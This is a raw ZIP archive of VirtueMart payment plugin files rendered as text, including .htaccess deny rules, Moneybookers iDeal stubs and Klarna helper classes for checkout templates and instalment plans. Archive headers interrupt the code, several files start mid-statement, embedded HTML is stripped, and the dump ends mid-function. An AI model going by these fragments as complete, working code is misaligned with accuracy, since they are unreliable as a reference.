PK]y>\<vmpayment/klarnacheckout/klarnacheckout/assets/js/index.htmlnuW+APK]y>\)8vmpayment/klarnacheckout/klarnacheckout/assets/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V2vmpayment/klarnacheckout/klarnacheckout/index.htmlnuW+A PK]y>\)"vmpayment/klarnacheckout/.htaccessnuW+A Order allow,deny Deny from all PK]y>\#vmpayment/klarnacheckout/index.htmlnuW+APK]y>\)vmpayment/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V%vmpayment/moneybookers_idl/index.htmlnuW+A PK]y>\-6)5tt/vmpayment/moneybookers_idl/moneybookers_idl.phpnuW+A_loggable = true; $this->_debug = false; $this->_tablepkey = 'id'; //virtuemart_moneybookers_id'; $this->_tableId = 'id'; //'virtuemart_moneybookers_id'; } function plgVmConfirmedOrder($cart, $order, $payment_method = '') { parent::plgVmConfirmedOrder($cart, $order, "IDL"); } } // No closing tagPK]y>\E/vmpayment/moneybookers_idl/moneybookers_idl.xmlnuW+A Moneybookers iDeal April 2012 Skrill Holdings Limited http://www.skrill.com Copyright (C) 2012 Skrill. http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL 2.0.6 Moneybookers is a popular payment provider authorised by the Financial Services Authority of the United Kingdom (FSA). ]]> moneybookers_idl.php en-GB.plg_vmpayment_moneybookers_idl.ini en-GB.plg_vmpayment_moneybookers_idl.ini PK]y>\)$vmpayment/moneybookers_idl/.htaccessnuW+A Order allow,deny Deny from all PK]y>\4*vmpayment/klarna/klarna/helpers/define.phpnuW+A\\۴+0vmpayment/klarna/klarna/helpers/klarnamobile.phpnuW+Aset_language($HTTP_GET_VARS['language']); } else { $lng->get_browser_language(); } $language = $lng->language['directory']; $languages_id = $lng->language['id']; $product_info_query = tep_db_query("select p.products_id, pd.products_name, pd.products_description, p.products_model, p.products_quantity, p.products_image, pd.products_url, p.products_price, p.products_tax_class_id, p.products_date_added, p.products_date_available, p.manufacturers_id from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd where p.products_status = '1' and p.products_id = '" . (int)$mProductId . "' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "'"); $aProduct_info = tep_db_fetch_array($product_info_query); $sArtNo = (MODULE_PAYMENT_KLARNA_ARTNO == 'id' || MODULE_PAYMENT_KLARNA_ARTNO == '' ? $aProduct_info['id'] : $aProduct_info['name']); $iTax = tep_get_tax_rate($aProduct_info['products_tax_class_id']); if(DISPLAY_PRICE_WITH_TAX == 'true') { $iPrice_with_tax = $currencies->get_value($currency) * $aProduct_info['products_price']; } else { $iPrice_with_tax = $currencies->get_value($currency) * $aProduct_info['products_price'] * (($iTax/100)+1); } // Add goods $this->oKlarna->addArticle( 1, //Quantity $sArtNo, //Article number $aProduct_info['products_name'], //Article name/title $iPrice_with_tax, // Price $iTax, //25% VAT 0, // Discount KlarnaFlags::INC_VAT // Flag incl. excl vat ); $this->iSum += $iPrice_with_tax; } /** * When a purchase is made, the script returns an redirect-URL or a message. When the URL is returned, the user is re-directed to this page. * This could be an URL to a downloadable file (WARNING! SHOULD ALWAYS BE A DYNAMIC URL!), or a link to a "Thank you"/confirmation page (Comon for donation purposes) * * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality * @return mixed Either NULL or FALSE if no URL is available, or STRING with full URL when URL is available. */ protected function fetchRedirectUrl ($mProductId) { return "http://www.klarna.com"; } /** * When a purchase is made (approved as well) it might needs to be added to the merchants order system. In this function you can define how the order of a product should be handled. * * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality * @param integer $iKlarnaReference The reference returned by Klarna * @param string $sTelNo The telephone number used to make a purchase * @return void */ protected function processOrder ($mProductId, $iKlarnaReference, $iTelNo) { // Here you should implement the functionality of how the product is managed. } } PK]y>\3mm-vmpayment/klarna/klarna/helpers/klarnaapi.phpnuW+AsPath = $sPath; if ($a_sLangISO == NULL) { $aLangArray = array( "swe" => "sv", "deu" => "de", "dnk" => "da", "nld" => "nl", "nor" => "nb", "fin" => "fi", "en" => "en"); $a_sLangISO = @$aLangArray[strtolower ($a_sCountry)]; } // Set the klarna object $this->oKlarna = &$a_oKlarna; // Validate the submitted values $this->setCountry ($a_sCountry); $this->setLanguage ($a_sLangISO); $this->validateType ($a_sType); /* // Set the default input names $this->aInputParameters['street'] = "street"; $this->aInputParameters['homenumber'] = "homenumber"; $this->aInputParameters['paymentPlan'] = "paymentPlan"; $this->aInputParameters['gender'] = "gender"; $this->aInputParameters['male'] = "male"; $this->aInputParameters['female'] = "female"; $this->aInputParameters['birth_day'] = "birth_day"; $this->aInputParameters['birth_month'] = "birth_month"; $this->aInputParameters['birth_year'] = "birth_year"; $this->aInputParameters['bd_jan'] = "1"; $this->aInputParameters['bd_feb'] = "2"; $this->aInputParameters['bd_mar'] = "3"; $this->aInputParameters['bd_apr'] = "4"; $this->aInputParameters['bd_may'] = "5"; $this->aInputParameters['bd_jun'] = "6"; $this->aInputParameters['bd_jul'] = "7"; $this->aInputParameters['bd_aug'] = "8"; $this->aInputParameters['bd_sep'] = "9"; $this->aInputParameters['bd_oct'] = "10"; $this->aInputParameters['bd_nov'] = "11"; $this->aInputParameters['bd_dec'] = "12"; $this->aInputParameters['socialNumber'] = "socialNumber"; $this->aInputParameters['phoneNumber'] = "phoneNumber"; $this->aInputParameters['year_salary'] = "year_salary"; $this->aInputParameters['house_extension'] = "house_extension"; $this->aInputParameters['shipmentAddressInput'] = "shipment_address"; $this->aInputParameters['emailAddress'] = "emailAddress"; $this->aInputParameters['invoiceType'] = "invoiceType"; $this->aInputParameters['reference'] = "reference"; $this->aInputParameters['companyName'] = "companyName"; $this->aInputParameters['firstName'] = "firstName"; $this->aInputParameters['lastName'] = "lastName"; $this->aInputParameters['invoice_type'] = "invoice_type"; $this->aInputParameters['consent'] = "consent"; $this->aInputParameters['city'] = "city"; $this->aInputParameters['zipcode'] = "zipcode"; // Set the default setup values $this->aSetupSettings['langISO'] = $this->sLangISO; $this->aSetupSettings['countryCode'] = $this->sCountryCode; $this->aSetupSettings['sum'] = $a_iSum; $this->aSetupSettings['flag'] = $a_iFlag; $this->aSetupSettings['payment_id'] = "payment"; $this->aSetupSettings['invoice_name'] = 'klarna_invoice'; $this->aSetupSettings['part_name'] = 'klarna_partPayment'; $this->aSetupSettings['spec_name'] = 'klarna_SpecCamp'; */ // $this->aSetupSettings['web_root'] = "/"; //$this->setPaths(); //$this->country=$this->getCountry(); //?????? // Fetch PClasses in case type is invoice if (($this->sType == 'part' || $this->sType == 'spec') && $this->oKlarna != NULL) { $this->fetchPClasses ($a_iSum, $a_iFlag, $aTypes); } } // public function setPaths() { // $this->aSetupSettings['path_css'] = $this->aSetupSettings['web_root'].VMKLARNAPLUGINWEBROOT. '/klarna/assets/css/'; // $this->aSetupSettings['path_js'] = $this->aSetupSettings['web_root'] .VMKLARNAPLUGINWEBROOT. '/klarna/assets/js/'; // $this->aSetupSettings['path_img'] = $this->aSetupSettings['web_root'] .VMKLARNAPLUGINWEBROOT. '/klarna/assets/images/'; // } /** * Add/Overwrite extra setup values. * * @param string $sName The name of the value * @param string $sValue The value * @return void * @deprecated */ public function addSetupValue ($sName, $sValue) { $this->aSetupSettings[$sName] = $sValue; } /** * Add multiple setup values at once * * @param array $aSetupValues The setup values as array. Key is name, value is value. * @return void * * @deprecated */ public function addMultipleSetupValues ($aSetupValues) { foreach ($aSetupValues as $sName => $sValue) { $this->aSetupSettings[$sName] = $sValue; } } public function getSetupValues () { return $this->aSetupSettings; } /** * Add/Overwrite input values. * * @param string $sName The name of the value * @param string $sValue The value * @return void * @deprecated */ public function addInputValue ($sName, $sValue) { $this->aInputValue[$sName] = $sValue; } /** * Add multiple input values at once * * @param array $aSetupValues The setup values as array. Key is name, value is value. * @return void */ public function addMultipleInputValues ($aInputValues) { foreach ($aInputValues as $sName => $sValue) { $this->aInputValue[$sName] = $sValue; } } /* * * @deprecated */ public function getInputValues () { return $this->aInputValues; } /* * @deprecated * */ public function setInvoiceFee ($fee) { if ($this->sType != 'invoice') { throw new KlarnaApiException("Invoice fee only supported when payment type is invoice"); } $this->aSetupSettings['fee'] = round (floatval ($fee), 1); } /** * Retrieve the finished HTML * * @param array $a_aParams The input field names. Only submitted for those that should be different from default values * @param string $a_sHTMLFile (Optional) The file to import. If not submitted, which HTML file will be decides by the class * @return string * @deprecated */ public function retrieveHTML ($a_aParams = NULL, $a_aValues = NULL, $a_sHTMLFile = NULL, $aTemplateData = NULL) { if ($a_aValues != NULL) { $this->aInputValues = array_merge ( $this->aInputValues, $a_aValues); } if ($a_aParams != NULL) { $this->aInputParameters = array_merge ( $this->aInputParameters, $a_aParams); } // print_r($this->aInputValues); // Backwards compability // using input values for red baloon is DEPRECATED if (array_key_exists ('red_baloon_content', $this->aInputValues)) { $this->aSetupSettings['red_baloon_content'] = $this->aInputValues['red_baloon_content']; } if (array_key_exists ('red_baloon_paymentBox', $this->aInputValues)) { $this->aSetupSettings['red_baloon_paymentBox'] = $this->aInputValues['red_baloon_paymentBox']; } if (is_array ($this->aPClasses)) { foreach ($this->aPClasses as $pclass) { if ($pclass['default'] === TRUE) { $this->aInputValues['paymentPlan'] = $pclass['pclass']->getId (); break; } } } $sTemplate = $this->loadTemplate ($a_sHTMLFile, $aTemplateData); Klarna::printDebug (__METHOD__ . ' setup settings', $this->aSetupSettings); Klarna::printDebug (__METHOD__ . ' input values', $this->aInputValues); return $this->translateInputFields ($sTemplate); } /** * @param null $a_sHTMLFile * @param null $aTemplateData * @return string * @deprecated */ public function loadTemplate ($a_sHTMLFile = NULL, $aTemplateData = NULL) { $sFilename = ''; /** * @todo Check for file and trow error if missing */ if ($a_sHTMLFile != NULL) { $sFilename = $a_sHTMLFile; } else { if ($this->sType != "spec") { $sFilename = ($this->sPath != NULL ? $this->sPath : "") . "/klarna/tmpl/" . $this->sType . "_" . strtolower ($this->sCountryCode) . ".html"; } else { $this->aSetupSettings['conditionsLink'] = $aTemplateData['conditions']; $sFilename = ($this->sPath != NULL ? $this->sPath : "") . '/klarna/tmpl/' . $this->sType . "_" . strtolower ($this->sCountryCode) . ".html"; } } Klarna::printDebug (__METHOD__ . 'loading template', $sFilename); return file_get_contents ($sFilename); } /** * Fetch the PClasses from file * * @param integer $iSum The sum of the objects to be bought * @param integer $iFlag The KlarnaFlag to be used. Either Checkout or ProductPage flag. * @return void */ public function fetchPClasses ($iSum, $iFlag, $aTypes = NULL) { if ($this->oKlarna == NULL) { throw new KlarnaApiException("No klarna class is set.", "1000"); } $aPClasses = array(); $default = NULL; foreach ($this->oKlarna->getPClasses () as $pclass) { if ($aTypes == NULL || in_array ($pclass->getType (), $aTypes)) { $sType = $pclass->getType (); if ($sType != KlarnaPClass::SPECIAL) { if ($iSum < $pclass->getMinAmount ()) { continue; } if ($pclass->getType () == KlarnaPClass::FIXED) { if ($iFlag == KlarnaFlags::PRODUCT_PAGE) { continue; } $iMonthlyCost = -1; } else { $lowest_payment = KlarnaCalc::get_lowest_payment_for_account ($pclass->getCountry ()); $iMonthlyCost = KlarnaCalc::calc_monthly_cost ($iSum, $pclass, $iFlag); if ($iMonthlyCost < 0.01) { continue; } if ($iFlag == KlarnaFlags::CHECKOUT_PAGE && $pclass->getType () == KlarnaPClass::ACCOUNT && $iMonthlyCost < $lowest_payment) { $iMonthlyCost = $lowest_payment; } if ($pclass->getType () == KlarnaPClass::CAMPAIGN && $iMonthlyCost < $lowest_payment) { continue; } } } else { $iMonthlyCost = -1; } if ($this->sType == 'part') { if ($sType == KlarnaPClass::ACCOUNT) { $default = $pclass; } else { if ($sType == KlarnaPClass::CAMPAIGN) { if ($default === NULL || $default->getType () != KlarnaPClass::ACCOUNT) { $default = $pclass; } } else { if ($sType == KlarnaPClass::FIXED) { if ($default === NULL) { $default = $pclass; } } else { continue; } } } } else { if ($this->sType == 'spec') { if ($sType != KlarnaPClass::SPECIAL) { continue; } $default = $pclass; } } $aPClasses[$pclass->getId ()]['pclass'] = $pclass; $aPClasses[$pclass->getId ()]['monthlyCost'] = $iMonthlyCost; $aPClasses[$pclass->getId ()]['default'] = FALSE; } } if ($default !== NULL) { $aPClasses[$default->getId ()]['default'] = TRUE; } $this->aPClasses = $aPClasses; } /** * Checks whether the country code is accepted by the API * * @throws KlarnaApiException * @param string $sCountryCode The country code ISO-2 * @return boolean */ private function validateCountry ($sCountryCode) { if (in_array (strtolower ($sCountryCode), array("nl", "se", "de", "dk", "no", "fi"))) { $this->sCountryCode = strtolower ($sCountryCode); switch ($this->sCountryCode) { case "nl": $this->iKlarnaCountry = KlarnaCountry::NL; $this->iKlarnaCurrency = KlarnaCurrency::EUR; break; case "se": $this->iKlarnaCountry = KlarnaCountry::SE; $this->iKlarnaCurrency = KlarnaCurrency::SEK; break; case "de": $this->iKlarnaCountry = KlarnaCountry::DE; $this->iKlarnaCurrency = KlarnaCurrency::EUR; break; case "dk": $this->iKlarnaCountry = KlarnaCountry::DK; $this->iKlarnaCurrency = KlarnaCurrency::DKK; break; case "no": $this->iKlarnaCountry = KlarnaCountry::NO; $this->iKlarnaCurrency = KlarnaCurrency::NOK; break; case "fi": $this->iKlarnaCountry = KlarnaCountry::FI; $this->iKlarnaCurrency = KlarnaCurrency::EUR; break; default: break; } return TRUE; } else { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid country code submitted!'); } } /** * Checks whether the country code is accepted by the API * * @throws KlarnaApiException * @param string $sType The type. Either "part", "spec" or "invoice" * @return boolean */ private function validateType ($sType) { if (in_array (strtolower ($sType), array("part", "invoice", "spec"))) { $this->sType = strtolower ($sType); return TRUE; } else { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid type submitted!'); } } /** * Sets the active country from a ISO country string * or a KlarnaCountry constant */ public function setCountry ($country) { if (!is_numeric ($country)) { $country = KlarnaCountry::fromCode ($country); } else { $country = intval ($country); } if ($this->oKlarna == NULL) { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Klarna instance not set'); } $this->iKlarnaCountry = $country; $this->iKlarnaCurrency = $this->oKlarna->getCurrencyForCountry ($country); $this->sCountryCode = $this->oKlarna->getCountryCode ($country); } public function getCountry () { return $this->iKlarnaCountry; } /** * Sets the active country from a ISO country string * or a KlarnaLanguage constant */ public function setLanguage ($language) { if (!is_numeric ($language)) { $language = Klarna::getLanguageForCode ($language); } else { $language = intval ($language); } $this->iKlarnaLanguage = $language; if ($this->oKlarna == NULL) { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Klarna instance not set'); } $this->sLangISO = $this->oKlarna->getLanguageCode ($language); } public function getLanguage () { return $this->iKlarnaLanguage; } /** * Checks whether the country code is accepted by the API * * @throws KlarnaApiException * @param string $a_sLangISO The language in ISO-2 format * @return boolean * @deprecated */ private function validateLangISO ($a_sLangISO) { if (in_array (strtolower ($a_sLangISO), array("sv", "da", "en", "de", "nl", "nb", "fi"))) { $this->sLangISO = strtolower ($a_sLangISO); switch ($this->sLangISO) { case "sv": $this->iKlarnaLanguage = KlarnaLanguage::SV; break; case "da": $this->iKlarnaLanguage = KlarnaLanguage::DA; break; case "de": $this->iKlarnaLanguage = KlarnaLanguage::DE; break; case "nl": $this->iKlarnaLanguage = KlarnaLanguage::NL; break; case "nb": $this->iKlarnaLanguage = KlarnaLanguage::NB; break; case "fi": $this->iKlarnaLanguage = KlarnaLanguage::FI; break; default: break; } return TRUE; } else { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid language (' . $a_sLangISO . ') ISO submitted!'); } } /** * Translating the fetched HTML agains dynamic values set in this class * * @param string $sHtml The HTML to translate * @return string */ private function translateInputFields ($sHtml) { $sHtml = preg_replace_callback ("@{{(.*?)}}@", array($this, 'changeText'), $sHtml); return $sHtml; } /** * Changing the text from a HTML {{VALUE}} to the actual value decided by the array * * @param array $aText The result from the match in function translateInputFields * @return mixed * @deprecated */ private function changeText ($aText) { // Split them $aExplode = explode (".", $aText[1]); $sType = $aExplode[0]; $sName = @$aExplode[1]; if ($sType == "input") { if (array_key_exists ($sName, $this->aInputParameters)) { return $this->aInputParameters[$sName]; } else { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid inputfield value (' . $sName . ') found in HTML code!'); } } else { if ($sType == "lang") { return JText::_ ('VMPAYMENT_KLARNA_' . strtoupper ($sName)); //$this->fetchFromLanguagePack($sName); } else { if ($sType == "setup") { if ($sName == "pclasses") { return $this->renderPClasses (); } if ($sName == 'threatmetrix') { if (!array_key_exists ('threatmetrix', $this->aSetupSettings)) { $this->aSetupSettings['threatmetrix'] = $this->oKlarna-> checkoutHTML (); } return @$this->aSetupSettings['threatmetrix']; } if ($sName == 'additional_information') { $key = @$this->aSetupSettings['additional_information']; $key = 'VMPAYMENT_KLARNA_' . strtoupper ($key); $lang = JFactory::getLanguage (); if ($lang->hasKey ($key)) { $frmt = @JText::_ ($key); //$this->fetchFromLanguagePack($key); return @$this->translateInputFields ($frmt); } else { return ''; } } return @$this->aSetupSettings[$sName]; } else { if ($sType == "value") { return (@$this->aInputValues[$sName]); } else { throw new KlarnaApiException('Error in ' . __METHOD__ . ': Invalid field name (' . $sType . ') found in HTML code!'); } } } } } /** * Redender the PClasses to HTML * * @deprecated * * @return string */ public function renderPClasses () { $sString = ''; foreach ($this->aPClasses as $sPClassId => $aPClassData) { $value = $this->getPresentableValuta ($aPClassData['monthlyCost']); $pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH'); $sString .= '
  • ' . $aPClassData['pclass']->getDescription () . ($aPClassData['monthlyCost'] > 0 ? " - $value $pm" : '') . ($aPClassData['default'] ? 'Chosen' : '') . '
    ' . $sPClassId . '
  • '; } return $sString; } /** * Redender the PClasses to HTML * * @return string */ public function getPClassesInfo () { $pClasses = array(); $i = 0; foreach ($this->aPClasses as $sPClassId => $aPClassData) { $value = $this->getPresentableValuta ($aPClassData['monthlyCost']); $pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH'); $pClasses[$i]['class'] = $aPClassData['default'] ? 'id="click"' : ""; $sString = $aPClassData['pclass']->getDescription () . ($aPClassData['monthlyCost'] > 0 ? " - $value $pm" : '') . ($aPClassData['default'] ? 'Chosen' : ''); $pClasses[$i]['string'] = $sString; $pClasses[$i]['classId'] = $sPClassId; $i++; } return $pClasses; } /** * Redender the PClasses to HTML * * @return string */ public function renderPClass ($pid) { $sString = ""; foreach ($this->aPClasses as $sPClassId => $aPClassData) { if ($aPClassData['pclass']->getId () == $pid) { $value = $this->getPresentableValuta ($aPClassData['monthlyCost']); $pm = JText::_ ('VMPAYMENT_KLARNA_PER_MONTH'); $sString .= $aPClassData['pclass']->getDescription () . ($aPClassData['monthlyCost'] > 0 ? " - $value $pm" : ''); return $sString; } } return $sString; } /** * Make the sum shown presentable * * @param integer $iSum The sum to present * @return string */ /* private */ function getPresentableValuta ($iSum) { $sBefore = ""; $sAfter = ""; switch (strtolower($this->sCountryCode)) { case 'se': $sAfter = " kr"; break; case 'no': $sAfter = " NOK"; break; case 'dk': $sAfter = " DKK"; break; case 'fi'; $sBefore = "EUR"; break; case 'de'; case 'nl'; $sBefore = "€"; break; } return $sBefore . $iSum . $sAfter; } public function setCurrency ($currency) { if (!is_numeric ($currency)) { $currency = KlarnaCurrency::fromCode ($currency); } else { $currency = intval ($currency); } switch ($currency) { case KlarnaCurrency::SEK: case KlarnaCurrency::NOK: case KlarnaCurrency::DKK: $this->addSetupValue ('currency_suffix', ' kr'); $this->addSetupValue ('currency_prefix', ''); break; case KlarnaCurrency::EUR: $this->addSetupValue ('currency_prefix', '€'); $this->addSetupValue ('currency_suffix', ''); break; default: $this->addSetupValue ('currency_suffix', ''); $this->addSetupValue ('currency_prefix', ''); break; } } /** * Fetch data from the language pack * * @param string $sText The text to fech * @param null $sISO * @param null $sPath * @return string * @deprecated */ public function fetchFromLanguagePack ($sText, $sISO = NULL, $sPath = NULL) { if ($sISO == NULL) { if ($this != NULL && $this->sLangISO != NULL) { $sISO = strtolower ($this->sLangISO); } else { $sISO = KlarnaAPI::getISOCode (); } } else { $sISO = KlarnaAPI::getISOCode ($sISO); } if ($this->sPath != NULL) { $sPath = $this->sPath; } if ($this->languagePack == NULL) { $this->languagePack = new KlarnaLanguagePack(JPATH_VMKLARNAPLUGIN . '/klarna/language/klarna_language.xml'); } return $this->languagePack->fetch ($sText, $sISO); } /** * Returns the country code for the set country constant. * * @return string */ public function getISOCode ($sCode = NULL) { switch (strtolower ($sCode)) { case "se": case "sv": return "sv"; case "no": case "nb": return "nb"; case "dk": case "da": return "da"; case "fi": return "fi"; case "de": return "de"; case "nl": return "nl"; case "us": case "uk": case "en": default: return "en"; } } public function displayError ($message, $field = NULL) { // Append message if (array_key_exists ('red_baloon_content', $this->aSetupSettings)) { $this->aSetupSettings['red_baloon_content'] = $this->aSetupSettings['red_baloon_content'] . '
    ' . $message; } else { $this->aSetupSettings['red_baloon_content'] = $message; } // fall back to logo on multiple messages if (array_key_exists ('red_baloon_paymentBox', $this->aSetupSettings)) { $this->aSetupSettings['red_baloon_paymentBox'] = ''; } else { $this->aSetupSettings['red_baloon_paymentBox'] = $field; } } /** * * @param $address * @return */ public static function splitAddress ($address) { $numbers = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); $characters = array( '-', '/', ' ', '#', '.', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'); $specialchars = array('-', '/', ' ', '#', '.'); //Where do the numbers start? Allow for leading numbers $numpos = self::strpos_arr ($address, $numbers, 2); //Get the streetname by splitting off the from the start of the numbers $streetname = substr ($address, 0, $numpos); //Strip off spaces at the end $streetname = trim ($streetname); //Get the housenumber+extension $numberpart = substr ($address, $numpos); //and strip off spaces $numberpart = trim ($numberpart); //Get the start position of the extension $extpos = self::strpos_arr ($numberpart, $characters, 0); //See if there is one, if so if ($extpos != '') { //get the housenumber $housenumber = substr ($numberpart, 0, $extpos); // and the extension $houseextension = substr ($numberpart, $extpos); // and strip special characters from it $houseextension = str_replace ($specialchars, '', $houseextension); } else { //Otherwise, we already have the housenumber $housenumber = $numberpart; } return array($streetname, $housenumber, $houseextension); } /** * * @param $haystack * @param $needle * @param $where * @return */ private static function strpos_arr ($haystack, $needle, $where) { $defpos = 10000; if (!is_array ($needle)) { $needle = array($needle); } foreach ($needle as $what) { if (($pos = strpos ($haystack, $what, $where)) !== FALSE) { if ($pos < $defpos) { $defpos = $pos; } } } return $defpos; } public function setAddress (KlarnaAddr $addr) { if (!$addr instanceof KlarnaAddr) { throw new KlarnaApiException(__METHOD__ . ': must be passed a KlarnaAddr'); } $reference = @($addr->getFirstName () . ' ' . $addr->getLastName ()); $cellno = $addr->getCellno (); $telno = $addr->getTelno (); $phone = (strlen ($cellno) > 0) ? $cellno : $telno; $values = &$this->aInputValues; $values['firstName'] = $addr->getFirstName (); $values['lastName'] = $addr->getLastName (); $values['phoneNumber'] = $phone; $values['zipcode'] = $addr->getZipCode (); $values['city'] = $addr->getCity (); $values['street'] = $addr->getStreet (); $values['homenumber'] = $addr->getHouseNumber (); $values['house_extension'] = $addr->getHouseExt (); $values['reference'] = $reference; } /** * Given a ISO 8601 date string (YYYY-MM-DD) sets birth_year, birth_month * and birth_day */ public function setBirthday ($dob) { $splitbday = explode ('-', $dob); $values['birth_year'] = @$splitbday[0]; $values['birth_month'] = @$splitbday[1]; $values['birth_day'] = @$splitbday[2]; } } /** * KlarnaApiException class, only used so it says "KlarnaApiException" instead of Exception. * * @package Klarna Standard Kassa API * @author Paul Peelen * @version 1.0 * @since 1.0 - 14 mar 2011 * @link http://integration.klarna.com/ * @copyright Copyright (c) 2011 Klarna AB (http://klarna.com) */ class KlarnaApiException extends Exception { public function __construct ($sMessage, $code = 0) { parent::__construct ($sMessage, $code); } public function __toString () { return __CLASS__ . ":

    [Error: {$this->code}]: {$this->message}

    \n"; } } PK]y>\`//3vmpayment/klarna/klarna/helpers/klarna_payments.phpnuW+AshipTo = $shipTo; $this->country = $cData['country_code']; $this->country_code_3 = $cData['country_code_3']; $this->currency = $cData['currency_code']; $this->virtuemart_currency_id = $cData['virtuemart_currency_id']; //$this->currency = $vendor_currency; // Get EID and Secret $this->eid = $cData['eid']; $this->secret = $cData['secret']; $this->lang = $cData['language_code']; // Is Invoice enabled? $this->enabled = TRUE; // Set modes $this->mode = $cData['mode']; $this->ssl = KlarnaHandler::getKlarnaSSL ($this->mode); $this->web_root = JURI::base (); try { $this->klarna = new Klarna_virtuemart(); $this->klarna->config ($this->eid, $this->secret, $this->country, $this->lang, $this->currency, $this->mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $this->ssl); } catch (Exception $e) { VmError ('klarna_payments', $e); unset($this->klarna); } } /** * Attempt to fill in some of what we've already filled in if we * come back after failing a purchase. */ private function setPreviouslyFilledIn ($klarna_data) { if (($this->country == "nl" ) && isset($klarna_data['pno'])) { $pno = $klarna_data['pno']; $this->klarna_bday['year'] = substr ($pno, 4, 4); $this->klarna_bday['month'] = substr ($pno, 2, 2); $this->klarna_bday['day'] = substr ($pno, 0, 2); } elseif ( $this->country == "de") { $pno = $klarna_data['pno']; $this->klarna_bday['year'] = $klarna_data['birth_year']; $this->klarna_bday['month'] = $klarna_data['birth_month']; $this->klarna_bday['day'] = $klarna_data['birth_day']; } else { $this->socialNumber=$klarna_data['socialNumber']; } $this->klarna_street = ((isset($klarna_data['street']) && !isset($this->klarna_street)) ? $klarna_data['street'] : $this->klarna_street); $this->klarna_houseNr = ((isset($klarna_data['house_no']) && !isset($this->klarna_houseNr)) ? $klarna_data['house_no'] : $this->klarna_houseNr); $this->klarna_houseExt = ((isset($klarna_data['house_ext']) && !isset($this->klarna_houseExt)) ? $klarna_data['house_ext'] : $this->klarna_houseExt); $this->klarna_gender = ((isset($klarna_data['gender']) && !isset($this->klarna_gender)) ? $klarna_data['gender'] : $this->klarna_gender); $this->klarna_year_salary = ((isset($klarna_data['year_salary']) && !isset($this->klarna_year_salary)) ? $klarna_data['year_salary'] : $this->klarna_year_salary); } /** * Build the Payment params */ public function get_payment_params ($method, $payment_type, $cart = NULL, $country_currency_code = '', $vendor_currency='') { if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } if (!class_exists ('KlarnaAPI')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php'); } $payment_params = array(); $invoice_fee = 0; if (!isset($this->klarna) || !($this->klarna instanceof Klarna_virtuemart)) { return NULL; } $payment_params['payment_currency_info'] = ""; if ($cart->pricesCurrency != $this->virtuemart_currency_id) { $payment_params['payment_currency_info'] = JText::_ ('VMPAYMENT_KLARNA_PAYMENT_CURRENCY_INFO'); } if ($payment_type == 'invoice') { KlarnaHandler::getInvoiceFeeInclTax ($method, $this->country_code_3, $cart->pricesCurrency, $this->virtuemart_currency_id, $display_invoice_fee, $invoice_fee); $billTotalInCountryCurrency = 0; $aTypes = NULL; $payment_params['pClasses'] = NULL; } else { $display_fee = 0; $billTotalInCountryCurrency = 0; if (isset($cart->pricesUnformatted['billTotal'])) { $billTotalInCountryCurrency = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $vendor_currency, $country_currency_code, $cart->pricesCurrency); } if ($billTotalInCountryCurrency <= 0) { return NULL; } //$aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN, KlarnaPClass::FIXED); $aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN); } $payment_params['sType'] = $payment_type; $kCheckout = new KlarnaAPI($this->country, $this->lang, $payment_type, $billTotalInCountryCurrency, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, $aTypes, JPATH_VMKLARNAPLUGIN); if ($payment_type == 'invoice') { if ($invoice_fee) { $payment_params['module'] = JText::sprintf ('VMPAYMENT_KLARNA_INVOICE_TITLE', $display_invoice_fee); } else { $payment_params['module'] = JText::_ ('VMPAYMENT_KLARNA_INVOICE_TITLE_NO_PRICE'); } $payment_params['pClasses'] = NULL; $payment_params['id'] = 'klarna_invoice'; } elseif ($payment_type == 'part') { KlarnaHandler::getCheapestPclass ($kCheckout, $cheapest, $minimum); if ($billTotalInCountryCurrency < $minimum) { return NULL; } if (!class_exists ('VirtueMartModelCurrency')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php'); } // Cheapest is in the Klarna country currency, convert it to the current currency display //$currencyDisplay = CurrencyDisplay::getInstance( ); //$countryCurrencyId = $this->virtuemart_currency_id; //$sFee = $currencyDisplay->priceDisplay($cheapest, 0, 1,false); $sFee = $kCheckout->getPresentableValuta ($cheapest); $payment_params['module'] = JText::sprintf ('VMPAYMENT_KLARNA_PARTPAY_TITLE', $sFee); $payment_params['pClasses'] = $kCheckout->getPClassesInfo (); $payment_params['id'] = 'klarna_partPayment'; } else { $pclasses = $kCheckout->aPClasses; if (empty($pclasses)) { return NULL; } $payment_params['module'] = JText::_ ('VMPAYMENT_KLARNA_SPEC_TITLE'); $payment_params['pClasses'] = $kCheckout->getPClassesInfo (); $payment_params['id'] = 'klarna_SpecCamp'; } $payment_params['payment_link'] = "https://online.klarna.com/villkor.yaws?eid=" . $this->eid . "&charge=" . $invoice_fee; if (strtolower ($this->country) == 'de') { $vendor_id = 1; 